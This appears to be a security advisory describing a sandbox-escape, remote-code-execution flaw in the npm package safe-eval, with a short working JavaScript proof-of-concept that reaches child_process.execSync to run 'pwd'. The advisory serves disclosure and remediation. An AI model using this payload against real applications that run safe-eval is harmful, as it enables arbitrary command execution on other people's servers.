Sandbox Breakout / Arbitrary Code Execution in safe-eval

Background

The safe-eval package is an npm package that provides a sandboxed environment for evaluating JavaScript code. It is commonly used to execute user-provided code in a secure manner. However, all versions of safe-eval are vulnerable to a Sandbox Escape vulnerability, which can lead to Remote Code Execution. This means that an attacker can exploit this vulnerability to execute arbitrary code within the sandboxed environment.

Vulnerability Detail

The vulnerability in safe-eval arises from a payload that chains a function's callee and caller constructors, allowing it to escape the sandbox and execute arbitrary code. An example payload that demonstrates this vulnerability is as follows:

(() => {
  const targetKey = Object.keys(this)[0];
  Object.defineProperty(this, targetKey, {
    get: function() {
      return arguments.callee.caller.constructor(
        "return global.process.mainModule.require('child_process').execSync('pwd').toString()"
      )();
    }
  });
})();

This payload can be used to print the current working directory (pwd) to the console. The impact of this vulnerability is that an attacker can execute arbitrary code within the sandboxed environment, potentially leading to further compromise of the system.

Workaround

There is no specific workaround mentioned for this vulnerability.

Conclusion

The safe-eval package is vulnerable to a Sandbox Escape vulnerability, allowing for arbitrary code execution within the sandboxed environment. Currently, there is no fix available for this vulnerability. It is recommended to consider using an alternative package until a fix is made available. For further support on vulnerability remediation, you can reach out to DevNack.com.

See every vulnerability recorded for safe-eval →

FAQ